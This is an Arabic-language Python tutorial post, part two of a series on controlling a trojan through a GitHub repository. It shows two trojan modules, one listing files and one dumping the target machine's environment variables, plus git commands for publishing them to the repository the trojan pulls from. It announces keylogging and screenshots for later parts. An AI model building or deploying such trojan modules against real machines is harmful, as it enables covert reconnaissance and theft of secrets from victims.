Quantcast
Channel: Planet Python
Viewing all articles
Browse latest Browse all 22462

بايثون العربي: موقع Github القيادة والسيطرة (الجزء الثاني) إنشاء الوحدات

$
0
0

في الأجزاء القادمة من هذه السلسلة سنكون قادرين على القيام بأعمال حقيرة مع أحصنة طراودة التي قمنا بإنشاءها مثل تسجيل ضربات لوحة المفاتيح ، إلتقاط صور للشاشة وقبل كل هذا دعونا نقوم بإنشاء بعض الوحدات البسيطة التي يمكننا تجربتها ونشرها بكل سهولة .

قم بفتح ملف جديد على دليل الوحدات وقم بتسميته ب dirlister.py وأكتب السطور التالية :


import os
def run(**args):
    print "[*] In dirlister module."
    files = os.listdir(".")
    return str(files)

السطور السابقة عبارة عن مقتطف صغير من الكود يقوم ببساطة عرض و تشغيل دالة تقوم بعرض جميع الملفات الموجودة في الدليل الحالي وطبعا على شكل سلسلة نصية ، وكل وحدة تقوم بتطويرها يجب ان تقوم بعرض وتشغيل دالة يكون لديها مدخلات على شكل متغيرات وهذا يسمح لك بتحميل كل وحدة بنفس الطريقة ويترك لك مساحة كافية حتى يمكنك تخصيص ملفات الإعدادات لتمرير المدخلات إلى الوحدة إذا أردت ذلك .

الأن سنقوم بإنشاء وحدة جديدة تحت إسم environment.py


import os
def run(**args):
    print "[*] In environment module."
    return str(os.environ)

تقوم هذه الوحدة بإستيراد اي متغير التي تم تعيينها على الجهاز المستهدف والذي تم تشغيل عليه حصان طراودة ، الأن دعونا نقوم برفع الكود على مستودع Github بحيث يكون قابل للإستخدام من قبل حصان طراودة .

قم بفتح الطرفية بحيث يكون المسار الذي قمنا بإنشاء من قبل وأكتب الأوامر التالية :


$ git add .
$ git commit -m "Adding new modules"
$ git push origin master
Username: ********
Password: ********</pre>
<pre>

يمكنك تسجيل الدخول على حسابك في موقع Github والتأكد من رفع الكود على المستودع الصحيح وهذه هي الطريقة الوحيدة التي سنتبعها في المستقبل من أجل تطوير الكود


Viewing all articles
Browse latest Browse all 22462

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>